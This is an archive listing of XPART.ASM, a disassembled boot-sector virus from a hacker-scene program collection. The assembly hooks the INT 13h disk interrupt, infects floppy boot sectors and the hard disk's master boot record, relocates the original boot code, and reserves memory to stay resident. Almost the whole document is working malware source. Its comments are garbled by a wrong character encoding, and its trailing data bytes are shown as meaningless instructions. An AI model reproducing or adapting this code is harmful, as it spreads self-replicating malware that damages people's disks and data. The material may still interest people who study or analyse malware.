home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / XPART.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  6KB  |  241 lines

  1.         jmp    far ptr loc_2        ;*(07C0:0005)
  2.         jmp    loc_8            ; (00A1)
  3. data_27     db    0
  4. data_28     dd    0F000EC59h
  5. data_29     dd    9F8000E4h
  6. data_30     dd    07C00h
  7.  
  8. ;-----------------------------------------------------------------------------
  9. ;         é╡«ñ¡á ▓«╖¬á ¡á INT 13h
  10. ;-----------------------------------------------------------------------------
  11.  
  12.         push    ds
  13.         push    ax
  14.         cmp    ah,2            ; Ç¬« ┤│¡¬╢¿┐▓á Ñ »«-¼á½¬á «▓
  15.         jb    loc_3            ; 2 ¿½¿ »«-ú«½┐¼á ¿½¿ ░áó¡á
  16.         cmp    ah,4            ; ¡á 4 ¿º»║½¡┐óá ¡á»░░áó« INT 13h
  17.         jae    loc_3
  18.         or    dl,dl            ; ô▒▓░«¿▒▓ó«▓« Ñ A ?
  19.         jnz    loc_3
  20.         xor    ax,ax            ; Zero register
  21.         mov    ds,ax
  22.         mov    al,byte ptr ds:[43Fh]    ; Å░«óÑ░┐óá ñ὿ ¼«▓«░á ¡á
  23.         test    al,1            ; A Ñ ó¬½╛╖Ñ¡
  24.         jnz    loc_3            ; Jump if not zero
  25.         call    sub_1            ; Ä»¿▓ ñá ºá░áº┐óá
  26. loc_3:
  27.         pop    ax
  28.         pop    ds
  29.         jmp    cs:data_28        ; (6B8E:0009=0EC59h)
  30.  
  31. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  32. ;                   SUBROUTINE
  33. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  34.  
  35. sub_1        proc    near
  36.         push    bx
  37.         push    cx
  38.         push    dx            ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
  39.         push    es
  40.         push    si
  41.         push    di
  42.         mov    si,4
  43. loc_4:
  44.         mov    ax,201h
  45.         push    cs
  46.         pop    es
  47.         mov    bx,200h
  48.         xor    cx,cx            ; Zero register
  49.         mov    dx,cx
  50.         inc    cx
  51.         pushf
  52.         call    cs:data_28        ; ùÑ▓Ñ BOOT ▒Ѭ▓«░á
  53.         jnc    loc_5            ; Jump if carry=0
  54.         xor    ax,ax            ; Å░¿ ú░Ñ╕¬á ░Ѭ὿í░¿░á
  55.         pushf                ; │▒▓░«¿▒▓ó«▓«
  56.         call    cs:data_28        ; (6B8E:0009=0EC59h)
  57.         dec    si
  58.         jnz    loc_4            ; Å░áó¿ 4 «»¿▓á
  59.         jmp    short loc_7        ; êº╡«ñ
  60.         nop
  61. loc_5:
  62.         xor    si,si            ; Zero register
  63.         mov    di,200h
  64.         cld                ; Clear direction
  65.         push    cs
  66.         pop    ds
  67.         lodsw                ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
  68.         cmp    ax,[di]         ; »░«╖Ñ▓Ñ¡¿┐ ñ¿▒¬
  69.         jne    loc_6
  70.         lodsw
  71.         cmp    ax,[di+2]
  72.         je    loc_7            ; Ç¬« Ñ ¿º½¿ºá
  73. loc_6:
  74.         mov    ax,301h
  75.         mov    bx,200h         ; Å░ѼÑ▒▓óá BOOT
  76.         mov    cl,3
  77.         mov    dh,1
  78.         pushf
  79.         call    cs:data_28
  80.         jc    loc_7            ; Jump if carry Set
  81.         mov    ax,301h
  82.         xor    bx,bx            ; çỿ▒óá ó¿░│▒á
  83.         mov    cl,1
  84.         xor    dx,dx
  85.         pushf
  86.         call    cs:data_28
  87. loc_7:
  88.         pop    di
  89.         pop    si
  90.         pop    es            ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
  91.         pop    dx
  92.         pop    cx
  93.         pop    bx
  94.         retn
  95. sub_1        endp
  96.  
  97. loc_8:
  98.         xor    ax,ax            ; Zero register
  99.         mov    ds,ax
  100.         cli                ; Disable interrupts
  101.         mov    ss,ax
  102.         mov    sp,7C00h
  103.         sti                ;
  104.         mov    ax,word ptr ds:[4Ch]    ; Å«▒▓áó┐ ó AX óѬ▓«░á ¡á INT 13H
  105.         mov    word ptr ds:[7C09h],ax    ; çá»áºóá ú« ¡á «▓¼Ñ▒▓óá¡Ñ 9h
  106.         mov    ax,word ptr ds:[4Eh]    ; éºÑ¼á ▒Ñú¼Ñ¡▓á ¡á INT 13H
  107.         mov    word ptr ds:[7C0Bh],ax    ; çá»áºóá ú« ¡á «▓¼Ñ▒▓óá¡Ñ Bh
  108.         mov    ax,word ptr ds:[413h]    ; ìá¼á½┐óᠡ὿╖¡á▓á »á¼Ñ▓ ▒ 1K
  109.         dec    ax
  110.         dec    ax
  111.         mov    word ptr ds:[413h],ax
  112.         mov    cl,6
  113.         shl    ax,cl
  114.         mov    es,ax            ; çá░Ѫñá ó ES ¡á⌐-ó¿▒«¬¿┐ áñ░Ñ▒
  115.         mov    word ptr ds:[7C0Fh],ax    ; ¡á ¬«⌐▓« ▒Ñ »░ѼÑ▒▓óá
  116.         mov    ax,15h
  117.         mov    word ptr ds:[4Ch],ax    ; INT 13H æÄùê ÄÆîàæÆéÇìà 15H ÄÆ
  118.         mov    word ptr ds:[4Eh],es    ; ìÄùÇïÄÆÄ îô
  119.         mov    cx,1B8h
  120.         push    cs            ;CS = 7C0h = DS
  121.         pop    ds
  122.         xor    si,si
  123.         mov    di,si
  124.         cld
  125.         rep    movsb            ; Å░Ñ▒▓óá 1B8h íá⌐▓á
  126.         jmp    cs:data_29        ; Å░Ñ╡«ñ ¡á ▒½Ññóá╣á▓á ¿¡▒▓░│¬╢¿┐
  127.         mov    ax,0
  128.         int    13h            ; ÉѬ὿í░¿░á ñ¿▒¬á
  129.  
  130.         xor    ax,ax            ; Zero register
  131.         mov    es,ax            ; ES = AX = 00h
  132.         mov    ax,201h         ; ô▒▓á¡«ó┐óá »á░á¼Ñ▓░¿ ºá
  133.         mov    bx,7C00h        ; ºá░Ѫñá¡Ñ ¡á BOOT
  134.         cmp    cs:data_27,0        ; Å░«óÑ░┐óá ┤½áú ºá │▒▓░«¿▒▓ó«
  135.         je    loc_9            ; Å░Ñ╡«ñ »░¿ Flopy disk
  136.         mov    cx,7
  137.         mov    dx,80h
  138.         int    13h            ; çá░Ѫñá BOOT
  139.  
  140.         jmp    short loc_12        ; (014E)
  141.         nop
  142. loc_9:
  143.         mov    cx,3
  144.         mov    dx,100h
  145.         int    13h            ; çá░Ѫñá BOOT
  146.  
  147.         jc    loc_12            ; Jump if carry Set
  148.         test    byte ptr es:[46Ch],7    ; Å░«óÑ░┐óá ñ὿ ñá ñáñÑ
  149.         jnz    loc_11            ; ▒║«í╣Ñ¡¿Ñ
  150.         mov    si,189h         ;
  151.         push    cs
  152.         pop    ds
  153. loc_10:
  154.         lodsb                ; Æ║░▒¿ ¬░á┐▓ ¡á ▒▓░¿¡úá
  155.         or    al,al
  156.         jz    loc_11            ; Ç¬« ¡Ñ Ñ ¬░á┐ ¿ºóѪñá ▒¿¼ó«½
  157.         mov    ah,0Eh
  158.         mov    bh,0
  159.         int    10h            ; Video display   ah=functn 0Eh
  160.                         ;  write char al, teletype mode
  161.         jmp    short loc_10        ; (011D)
  162. loc_11:
  163.         push    cs
  164.         pop    es
  165.         mov    ax,201h         ; Ä»¿▓óá ▒Ñ ñá ╖Ñ▓Ñ «▓ ▓ó║░ñ ñ¿▒¬
  166.         mov    bx,200h         ; ¬á▓« »«¼Ñ▒▓óá »░«╖Ñ▓Ñ¡«▓« «▓
  167.         mov    cl,1            ; «▓¼Ñ▒▓óá¡Ñ 200h
  168.         mov    dx,80h
  169.         int    13h            ; Disk    dl=drive #: ah=func a2h
  170.                         ;  read sectors to memory es:bx
  171.         jc    loc_12            ; Ç¬« ú░Ñ╕¬á ? -> êº╡«ñ
  172.         push    cs
  173.         pop    ds
  174.         mov    si,200h
  175.         mov    di,0
  176.         lodsw                ; Å░«óÑ░┐óá ñ὿ ▒║ó»áñá ▒ ¡á╖Ὣ▓«
  177.         cmp    ax,[di]         ; ¡á ó¿░│▒á
  178.         jne    loc_13            ; Ç¬« ¡Ñ »░Ñ╡«ñ ºá ºá░áº┐óá¡Ñ
  179.         lodsw
  180.         cmp    ax,[di+2]
  181.         jne    loc_13
  182. loc_12:
  183.         mov    cs:data_27,0        ; (6B8E:0008=0)
  184.         jmp    cs:data_30        ; êº»║½¡┐óá BOOT
  185. loc_13:
  186.         mov    cs:data_27,2        ; Å«▒▓áó┐ │¬áºá▓ѽ ▓ó║░ñ ñ¿▒¬
  187.         mov    ax,301h
  188.         mov    bx,200h         ; Å░ѼÑ▒▓óá BOOT ó ▒Ѭ▓«░ 7
  189.         mov    cx,7            ; ▒▓░á¡á 0
  190.         mov    dx,80h
  191.         int    13h
  192.  
  193.         jc    loc_12            ; Å░¿ ú░Ñ╕¬á ¿º»║½¡┐óá BOOT
  194.         push    cs
  195.         pop    ds
  196.         push    cs
  197.         pop    es
  198.         mov    si,3BEh          ; îÑ▒▓¿ partition table
  199.         mov    di,1BEh
  200.         mov    cx,242h
  201.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  202.  
  203.         mov    ax,301h
  204.         xor    bx,bx            ; çỿ▒óá ▒Ἷ┐▓ ó¿░│▒
  205.         inc    cl
  206.         int    13h            ; Disk    dl=drive #: ah=func a3h
  207.                         ;  write sectors from mem es:bx
  208.         jmp    short loc_12        ; Ä▓¿óá ñá ¿º»¿½¡┐óá BOOT
  209.  
  210. ;------------------------------------------------------------------------------------------
  211. ;            Ä▓ ▓│¬ ¡á▓á▓¬ ▒á ▓Ѭ▒▓«óÑ
  212. ;------------------------------------------------------------------------------------------
  213.  
  214.         pop    es
  215.         pop    cx
  216.         db    6Fh
  217.         jnz    $+74h            ; Jump if not zero
  218.         and    [bx+si+43h],dl
  219.         and    [bx+di+73h],ch
  220.         and    [bp+6Fh],ch
  221.         ja    $+22h            ; Jump if above
  222.         push    bx
  223.         jz    $+71h            ; Jump if zero
  224.         db    6Eh
  225.         db    65h
  226.         db    64h
  227.         and    [bx],ax
  228.         or    ax,0A0Ah
  229.         add    [si+45h],cl
  230.         inc    di
  231.         inc    cx
  232.         dec    sp
  233.         dec    cx
  234.         push    bx
  235.         inc    bp
  236.         xor    al,[bx+di]
  237.         add    al,32h            ; '2'
  238.         add    word ptr ds:[0B00h][bx+si],ax    ; (6B7E:0B00=0)
  239.         add    ax,132h
  240.         db    72 dup (0)
  241.